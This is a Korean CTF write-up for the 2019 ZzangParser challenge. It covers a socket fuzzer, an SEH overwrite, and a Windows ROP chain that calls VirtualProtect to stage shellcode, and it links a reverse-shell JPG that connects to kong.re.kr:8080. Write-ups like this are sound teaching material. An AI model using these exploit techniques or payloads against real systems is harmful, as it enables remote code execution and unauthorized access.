메뉴 닫기

Power of XX ctf 2019 – ZzangParser 풀이

POX ZzangParser Write-up.

문제 컨셉 : 퍼징 + Windows-32bit ROP

ZzangParser_POX.zip

1. 바이너리 분석

바이너리를 IDA로 열어보면 윈도우를 생성하고, 프로그램의 주어진 argc에 따라 루틴이 나눠 지는것을 확인 할 수 있습니다.

이때 생성한 윈도우는 메세지를 보내고 받기 위해 생성한 Fake Window인데, WndProc에서는 소켓이 닫혔을때와 소켓정보가 메세지로 넘어 왔을때를 핸들링합니다.

한편 argc가 1인 경우를 살펴보면, 스레드를 2개 생성하는데, sub_403670의 경우 여러개의 클라이언트가 접속 할 수 있도록 처리하는 루틴이고, sub_403A20의 경우 10초마다 한번씩 소켓리스트에 소켓이 존재하지만, 프로세스는 존재하지 않은경우를 찾아 종료시키는 루틴입니다. 이 루틴은 아래에서 설명할 새로이 생성한 프로세스에서 크래시가 발생한 경우를 처리하기 위해 존재합니다.

sub_403670에서는 아래와 그림 같이 새로운 연결이 들어 왔을때 또 새로이 스레드를 생성하는데, 새로이 생성한 스레드에서는 CreateProcess로 자기자신을 다시 실행합니다.

이때 인자로서 처음에 생성한 FakeWindow의 hWnd와 소켓아이디를 줍니다.

FakeWindow의 hWnd를 주는 이유는 후에 새로 생성한 프로세스와(B) 기존 다중소켓을 처리하는 프로세스(A)의 통신을 위해과 SendMessage를 이용하기 때문이며, 소켓 아이디를 넘겨준 이후에는 WSADuplicateSocket으로 WSAPROTOCOL_INFO 구조체에 들어온 연결의 소켓 정보를 복사하고, SendMessage의 인자중 MSG 인자에 WM_COPYDATA를 주어 B로 그 데이터를 보내줍니다. 이때 B에서는 앞서 설명한 WndProc에서 소켓 데이터를 받고 처리를 합니다.

 

 

 

처음으로 돌아가 argc가 4인경우 생성하는 스레드를 살펴보면 아래와 같이 최대 512바이트의 jpg파일을 소켓으로 받고, jpg파일의 EXIF정보를 파싱하여 다시 전송하여 주는 루틴이 존재합니다.

JPG를 파싱하는 함수 내부를 살펴보면, 상당히 복잡하지만 3번쨰 인자를 변수로 사용하는 memcpy함수가 보입니다. 하지만 여기까지 가기 위한 JPG파일을 만드는 것은 정말 많은 분석을 요하기 때문에 퍼징을 이용해서 만드는 것이 바람직합니다.

 

2. Simple Fuzzer만들기

Windows Error Reporting(WER)이 켜져 있는경우 (Default : On) 프로그램에서 2nd Chance Exception이 발생하면 프로세스를 멈추고, 익셉션에 관한 정보를 보여주는데, 이 점을 이용하면 아래와 같이 퍼져를 작성하여 크래시를 찾을 수 있습니다.

저는 ZzangParser로 정상적으로 파싱되는 파일의 일부 바이트를 변조 시켜, ZzangParser에 전송하는 형태로 구현하였습니다. 첫번째 단락에서 살펴보았던 구조덕에 간단하게 구현이 가능합니다.

import socket
import random
import time

cnt = 0

###simple fuzzer
for i in range(0,100):
    
    s = socket.create_connection(("127.0.0.1",5123))
    print s.recv(1024)
    f = open("participation_01.jpg","rb")
    data = f.read()
    f.close()
    
    data = list(data)

    
    for i in xrange(0,len(data)):
        if random.randrange(0,65535) % 75 == 0:
            data[i] = chr(random.randrange(0,255)&0xff)
    
    data = ''.join(data)

    cnt+=1

    ff = open(str(cnt)+".jpg","wb")
    ff.write(data)
    ff.close()
    
    s.send(data)
    print s.recv(1024)

 

 

 

3. Exploit

mona를 이용해 모듈정보를 살펴보면, ASLR과 SafeSEH는 꺼져 있고, NX는 켜져있는 것을 알 수 있습니다.

또한 2에서 발견한 크래시를 분석하여 보면 SEH가 덮혀서 EIP가 변조되는 형태입니다.

SEH가 덮혀 EIP가 변조되지만, NX가 걸려있기때문에 흔히 사용하는 ppr 가젯을 사용한다고 쳐도 쉘코드 실행이 불가능합니다.

SEH가 덮혀서 EIP가 변조될 경우, 원래 스택으로 돌아가야 ROP를 할 수 있는데, 바이너리에서 원래 스택으로 돌아갈 수 있는 가젯을 찾아보면

0x004022BD 주소에 mov esp, dword ptr ss:[esp+0x8]; RET가 있습니다. 이 가젯을 이용하면 스택을 원래대로 돌릴 수 있고, 이후 ROP를 진행하면 됩니다.

 

ROP를 할때 스택에 권한을 주기 위해 주로 VirtualProtect가 사용되는데, 이 바이너리에 경우 IAT에 해당 API가 존재하지 않습니다.

하지만 kernel32.dll을 제공해줬기 때문에, TerminateProcess등 인근에 있는 API의 주소를 IAT로 부터 가져와 주소값의 차이를 더해주는 방식을 사용하여야 합니다. (문제에 사용된 kernel32.dll의 경우 0x10)

또한 ROP를 하였다고 하더라도 남은 스택공간이 너무 좁아 쉘코드를 바로 넣을 수 없는데, 이를 해결위해서는 스택을 앞으로 좀 땡겨주고, 그 위치에 쉘코드를 적어주어야 합니다.

 

따라서 아래와 같이 ROP를 이용해 스택에 Execute 권한을 주고, 다시 현재 스택으로부터 넉넉한 크기 만큼 떨어진 지점에 Excute권한을 준 후, 그곳으로 점프하는 코드를 작성하여야 합니다.

저는 아래와 같이 0x1000 떨어진 지점에 Execute권한을 주도록 코드를 작성하였습니다.

#include<stdio.h>

int main(void)
{   
    unsigned int rop_gadgets[] = {
      0x00415129,  // POP EDX RET
      0x004022BD,  // Seh Addr ; mov esp, dword ptr ss:[esp+0x8] // RET
      0x00415129,  // POP EDX RET
      0x004190a0,  // TerminateProcess - 0x4 (IAT)
      0x00415104,  // MOV EAX,DWORD PTR DS:[EDX+4] // RETN [ZzangParser_POX.exe] 
      0x00409b01,  // POP ESI RET
      0x00000010,  // ESI ------> 0x10
      0x004074e1,  // ADD ESI,EAX // INC ECX // ADD AL,0 // POP EDI // POP EBP // RETN [ZzangParser_POX.exe] 
      0x41414141,  // Filler (compensate)
      0x41414141,  // Filler (compensate)
      0x0041583f,  // POP EBX // RETN [ZzangParser_POX.exe] 
      0x00000024,  // 0x00000201-> ebx
      0x004151ac,  // POP EDX // RETN [ZzangParser_POX.exe] 
      0x00000040,  // 0x00000040-> edx
      0x0040c32f,  // POP ECX // RETN [ZzangParser_POX.exe] 
      0x0042e3a1,  // &Writable location [ZzangParser_POX.exe]
      0x00407169,  // POP EDI // RETN [ZzangParser_POX.exe] 
      0x00407084,  // RETN (ROP NOP) [ZzangParser_POX.exe]
      0x004096b2,  // POP EAX // POP EBP // RETN [ZzangParser_POX.exe] 
      0x90909090,  // nop
      0x41414141,  // Filler (compensate)
      0x0040e1a6,  // POP EBP // RETN [ZzangParser_POX.exe] 
      0x0040365e,  // & jmp esp [ZzangParser_POX.exe]
      0x00418219,  // PUSHAD // RETN [ZzangParser_POX.exe] 
    };
    
    
	unsigned char *wwww = (unsigned char*)&rop_gadgets;
	for(int i=0;i<sizeof(rop_gadgets);i++)
		printf("%02x ",wwww[i]);
		
	/*
	  LEA EBX,[ESP-0x1000]
	  MOV ESP,EBX
	  PUSH ZzangPar.0045FAAA ; Writable Location
	  PUSH 0x40 # PAGE_EXECUTE_READWRITE
	  PUSH 0x1000 #Size
	  PUSH EBX
	  MOV EAX, [&TerminateProcess] ;IAT
	  ADD EAX,0x10
	  CALL NEAR EAX # CALL VirtualProtect
	  JMP NEAR EBX 
	*/
	unsigned char rawData[34] =
	{
		0x8D, 0x9C, 0x24, 0x00, 0xF0, 0xFF, 0xFF, 0x89, 0xDC, 0x68, 0xAA, 0xFA,
		0x45, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x53, 0xA1, 0xA4,
		0x90, 0x41, 0x00, 0x83, 0xC0, 0x10, 0xFF, 0xD0, 0xFF, 0xE3
	};
	for(int i=0;i<34;i++)
		printf("%02x ",rawData[i]);
}

이제, 두번째 단락에서 찾은 seh를 덮어 eip를 변조 할 수 있는 파일에서 "예외 오프셋" 부분을 찾아 위 코드의 출력결과로 덮어씌워주고, 0x1000만큼 떨어진 지점에 리버스쉘 쉘코드를 넣어주면 리버스쉘을 딸 수 있고, 플래그를 획득할 수 있습니다.

 

 

아래 파일은 kong.re.kr 8080으로 리버스쉘을 따는 jpg파일 입니다.

reverse_shell_8080.zip

 

 

댓글 남기기

이메일은 공개되지 않습니다.